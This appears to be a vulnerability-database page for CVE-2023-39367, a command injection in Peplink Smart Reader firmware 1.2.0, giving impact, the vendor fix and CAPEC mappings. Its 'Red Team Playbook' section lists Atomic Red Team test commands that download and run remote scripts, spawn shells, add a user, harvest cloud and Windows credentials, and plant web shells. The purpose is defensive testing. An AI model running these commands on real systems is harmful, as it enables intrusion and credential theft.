CVE-2023-39367
Overview
This vulnerability is an OS command injection flaw rooted in improper input validation within the mac2name functionality of the Peplink Smart Reader web interface. The affected component processes user-supplied HTTP request parameters without adequate sanitization, allowing execution of arbitrary system commands. The issue specifically resides in firmware version 1.2.0 running in a QEMU environment.
Vulnerability Description
An OS command injection vulnerability exists in the web interface mac2name functionality of Peplink Smart Reader v1.2.0 (in QEMU). A specially crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Impact
An attacker with valid authentication credentials can exploit this vulnerability to execute arbitrary OS commands on the affected device, potentially leading to full system compromise. The prerequisite is authenticated HTTP access to the device's web interface. Successful exploitation can result in unauthorized data access, manipulation, or disruption of device functionality. The CVSS vector indicates network attack complexity is low but requires high privileges (PR:H) and no user interaction (UI:N).
Solution
Peplink has released firmware version 1.2.1 addressing this command injection vulnerability in the Smart Reader product. Users should upgrade from version 1.2.0 to 1.2.1 as detailed in the Peplink security advisory available at https://forum.peplink.com/t/peplink-security-advisory-smart-reader-firmware-1-2-0-cve-2023-43491-cve-2023-45209-cve-2023-39367-cve-2023-45744-cve-2023-40146/47256. No alternative mitigations or workarounds are documented in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
An OS command injection vulnerability has been identified in the web interface of the mac2name functionality within Peplink Smart Reader version 1.2.0. This flaw allows an attacker to execute arbitrary commands on the underlying operating system by crafting a specially designed HTTP request. The vulnerability arises from insufficient validation of user input, which permits malicious commands to be injected and executed in the context of the web server. As a result, the attacker can manipulate the system to perform unauthorized actions, potentially leading to a complete compromise of the affected device.
The primary attack vector involves an authenticated user sending a malicious HTTP request to the web interface. Since the vulnerability is triggered through the mac2name functionality, an attacker must first gain access to the system, which may limit the pool of potential attackers to those with valid credentials. However, once authenticated, the attacker can exploit the vulnerability to execute system commands, which may include altering configurations, accessing sensitive data, or even pivoting to other systems within the network. This scenario highlights the importance of securing user accounts and monitoring for unusual activity, as even authenticated users can pose a significant risk if their accounts are compromised.
The real-world impact of this vulnerability can be substantial, particularly for organizations that rely on Peplink Smart Reader for network management or data collection. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, or even a complete takeover of the device. The business risks associated with such an incident include financial losses, reputational damage, and potential legal ramifications, especially if sensitive customer data is exposed. Additionally, the presence of this vulnerability could serve as a foothold for attackers to launch further attacks within the organization’s network, compounding the potential damage.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating the firmware of affected devices is crucial, as vendors often release patches to address known vulnerabilities. In addition, organizations should employ intrusion detection systems (IDS) to monitor for unusual HTTP requests that may indicate an attempted exploitation of the vulnerability. Implementing strict access controls and ensuring that only authorized personnel have access to the web interface can further reduce the attack surface. Finally, conducting regular security audits and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the OS command injection vulnerability in the Peplink Smart Reader poses significant risks to organizations that utilize this device. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare to defend against such threats. Proactive detection and mitigation strategies are essential to safeguarding sensitive information and maintaining the integrity of organizational systems. As the threat landscape continues to evolve, staying informed about vulnerabilities and implementing robust security measures will be vital in protecting against potential exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Peplink | Smart Reader Firmware | 1.2.0 |
cpe:2.3:o:peplink:smart_reader_firmware:1.2.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
45%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-39367 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2023-1867 |
| forum.peplink.com |
GitHub CVE
|
https://forum.peplink.com/t/peplink-security-advisory-smart-reader-firmware-1-2-0-cve-2023-43491-cve-2023-45209-cve-2023-39367-cve-2023-45744-cve-2023-40146/47256 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1867 |